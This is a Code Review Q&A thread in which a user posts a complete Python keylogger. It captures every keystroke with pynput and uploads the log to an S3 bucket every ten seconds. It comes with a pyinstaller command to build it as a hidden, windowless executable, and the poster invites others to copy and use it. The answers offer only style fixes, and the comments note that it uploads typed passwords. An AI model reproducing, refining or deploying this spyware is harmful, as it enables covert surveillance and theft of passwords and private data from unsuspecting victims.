5
\$\begingroup\$

I wrote a Keylogger in Python who transfers the Key Strokes to an S3 storage. What do you think about the Code? I would add the file saving in an other place and make it more legible. Feel free to copy the code and use it for your own.

To run and compile it you need:

  • Python 3.7.5
  • boto3
  • pynput
  • pyinstaller

Greetings

""" To compile it with pyinstaller use this string: 
pyinstaller -F --noconsole --icon=path/to/icon.ico keylogger.py --hidden- 
import=configparser """`

import pynput
import logging
import boto3
import threading, time
import string
import random

from pynput.keyboard import Key, Listener
from botocore.exceptions import NoCredentialsError
from threading import Thread

ACCESS_KEY = "Put your AWS access key here"
SECRET_KEY = "Put your AWS secret access key here"
log_dir = ""

# Upload timer in seconds
WAIT_TIME_SECONDS = 10

# Random filename for amazon AWS
def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

awsname = id_generator() + '.txt'

#Amazon AWS upload
def upload_to_aws(local_file, bucket, s3_file):
    s3 = boto3.client('s3', aws_access_key_id=ACCESS_KEY,                     
aws_secret_access_key=SECRET_KEY)

    try:
        s3.upload_file(local_file, bucket, s3_file)
        return True
    except FileNotFoundError:
        return False
    except NoCredentialsError:
        return False

# Key logging
def on_press(key):
    logging.info(str(key))


# key logging
def listening():    
    with Listener(on_press=on_press) as listener:
        listener.join()

#Amazon uploadind second function
def awsuploading():
    uploaded = upload_to_aws('Your Local file name', 'Your S3 Storage name',         
awsname)

logging.basicConfig(filename=(log_dir + "Your local file name"),     
level=logging.INFO, format='%(asctime)s: %(message)s')

# Threading to run logging of keys and upload every 10 seconds
if __name__ == '__main__':
    Thread(target = listening).start() 
    ticker = threading.Event()
    while not ticker.wait(WAIT_TIME_SECONDS):
        Thread(target = awsuploading).start()
\$\endgroup\$
  • 1
    \$\begingroup\$ Does boto3 automatically use HTTPS? Otherwise you are uploading all the passwords you type in cleartext, which everybody in the vicinity can read if you are on WiFi... \$\endgroup\$ – Graipher Nov 6 at 16:22
  • 1
    \$\begingroup\$ Just FYI, anything posted here can be used by others. \$\endgroup\$ – pacmaninbw Nov 6 at 16:44
  • \$\begingroup\$ @pacmaninbw Even by the police ¯\_(ツ)_/¯ \$\endgroup\$ – Grajdeanu Alex. Nov 6 at 17:06
  • \$\begingroup\$ I really doubt any harm could come from posting this. You can easily find much worse (malicious) elsewhere on the web. \$\endgroup\$ – dustytrash Nov 6 at 20:17
  • \$\begingroup\$ Thank you guys for your replys. To answer @Graipher. Yes, it is encrypted. I analysed with Wireshark and it is not possible to read the keys of Amazon S3. I dont know if it is possible, when someone trys to reverse engineer the exe file. On the other hand, you can create a user in Amazon S3 with limited access. So no worrys there. Well, it is for sure a piece of spy code. So, if you use it against other ppl, you have to live with your consciousness that you really gonna harm others. \$\endgroup\$ – somefun015 Nov 7 at 10:29
3
\$\begingroup\$

Honestly, I didn't run it, but there's some things I can point out.

In upload_to_aws, you have

try:
    s3.upload_file(local_file, bucket, s3_file)
    return True
except FileNotFoundError:
    return False
except NoCredentialsError:
    return False

excepts can actually be combined though:

try:
    s3.upload_file(local_file, bucket, s3_file)
    return True

except (FileNotFoundError, NoCredentialsError):
    return False

I like a little more spacing in there too.


When passing keyword arguments, there shouldn't be spacing around the =:

Thread(target=listening).start()

You may want to look into using type hints. They're not necessary for a project like this, but they can be handy if you don't know about them.

\$\endgroup\$
1
\$\begingroup\$

Can't help but take the low hanging fruit:

awsname should be aws_name or awsName. Words are always separated somehow.

awsuploading should be renamed to aws_uploading to match your other method names.

I can't review more than that as I don't know Python. The title of this post is what caught my attention.

\$\endgroup\$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.